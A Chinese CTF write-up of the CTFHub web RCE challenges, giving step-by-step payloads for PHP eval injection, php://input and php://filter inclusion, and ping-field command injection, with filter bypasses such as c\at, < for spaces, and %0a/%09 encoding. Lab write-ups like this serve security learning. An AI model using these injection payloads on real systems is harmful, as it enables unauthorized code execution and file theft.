CTFHub-web(RCE)

文章目录

eval执行

打开关卡
CTFHub-web(RCE)意思是判断cmd是否被设置,若cmd被赋值,则执行如下语句,否则就继续显示以上代码。
我们先在url后输入

?cmd=system("ls");

查看根目录

CTFHub-web(RCE)

然后输入

?cmd=system("ls /");

返回上一级
CTFHub-web(RCE)
flag很显眼然后输入

?cmd=system("cat /文件名");

得到flag
CTFHub-web(RCE)

文件包含

我们打开关卡
CTFHub-web(RCE)有个shell按钮,我们点击
CTFHub-web(RCE)这里使用火狐Hacker插件发现里面有个ctfhub变量,我们把shell.txt赋值给file

?file=shell.txt

再查看根目录
CTFHub-web(RCE)
然后看到flag
CTFHub-web(RCE)
我们输入

ctfhub=system("cat /flag");

即可得到flag

CTFHub-web(RCE)

php://input

补充知识:
php://input是什么?
php:// ~ 来访问各个输入/输出流(I/O streams),php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
它是PHP中一个只读的协议,使用时会将请求放在body中

简单的说php://input用于执行php代码。
首先我们看源码
CTFHub-web(RCE)
然后点开phpinfo查看发现CTFHub-web(RCE)

证明是可以使用php://input
然后我们使用burp抓包,构造
方法:POST
目标:/?file=php://input
Body:<?php system("ls /"); ?>

CTFHub-web(RCE)
然后用cat查看
CTFHub-web(RCE)得到flag

读取源代码

我们使用使用 php://input ,发现不成功,我们可以使用另一个
CTFHub-web(RCE)
然后我们在url后添加

/?file=php://filter/resource=/flag

然后访问即可得到flag
CTFHub-web(RCE)

远程包含

我们发现有strpos函数
CTFHub-web(RCE)
可以使用php://input
CTFHub-web(RCE)
然后我们使用burp抓包,修改

POST /?file=php://input 
<?php system("ls /")?>
<?php system("cat /flag")?>

CTFHub-web(RCE)然后cat查看flag
发现flag
CTFHub-web(RCE)

命令注入

进入页面后给出的源码,题目要求输入IP地址执行ping命令
CTFHub-web(RCE)我们尝试输入127.0.0.1;ls
CTFHub-web(RCE)有个文件我们用cat查看
输入

127.0.0.1;cat 272442575313345.php

ping后查看页面源代码即可得到flag
CTFHub-web(RCE)

过滤cat

首先我们依然是ls查看当前目录
因为过滤掉了cat,我们使用 \ ‘’ “” {任意无意义变量名}等方法均可绕过
CTFHub-web(RCE)
我们输入

127.0.0.1;c\at flag_170742479022746.php

查看页面源代码即可得到flag
CTFHub-web(RCE)

过滤空格

首先我们依然是ls查看当前目录
因为空格被过滤了,我们可以使用 < 或 <> 重定向符来代替空格。
输入

127.0.0.1;cat<flag_154793093332529.php

查看页面源代码即可得到flag
CTFHub-web(RCE)

过滤目录分隔符

首先我们依然是ls查看当前目录
CTFHub-web(RCE)发现这里没有后缀了,再根据题目的提示,这就是个文件,我们需要进去,但是目录分隔符被过滤了,那么 ls …/ 这种命令就不能用了,那么我们先使用反斜杠查看这个文件夹里面的东东:

127.0.0.1;ls \flag_is_here

CTFHub-web(RCE)
我们用;同时执行

127.0.0.1 ; cd flag_is_here;cat flag_313792881429974.php

查看页面源码即可得到flag

过滤运算符

CTFHub-web(RCE)首先我们依然是ls查看当前目录
这里是过滤的运算符,我们用;代替&即可通关
跟上述步骤一样,然后查看页面源代码

127.0.0.1;ls
127.0.0.1;cat flag_13037231169954.php

CTFHub-web(RCE)
得到falg

综合过滤练习

我们发现这道题能过滤的都过滤了
CTFHub-web(RCE)第一步应该想办法查看当前文件夹的内容,我们使用换行符的url编码 %0a,并且去要在url中修改,这里我用的hacker插件
CTFHub-web(RCE)

我们需要打开falg_is_here,但是已经过滤了falg
我们可以用Tab的url编码

?ip=127.0.0.1%0als%09*_is_here

因为cat被过滤了,我们可以使用单引号的url编码%27将cat的任意字母包裹

?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_231383221418137.php

然后执行完查看页面源代码即可得到flag
CTFHub-web(RCE)

上一篇:Xray高级版白嫖破解指南


下一篇:简单了解WEB漏洞-RCE代码及命令执行漏洞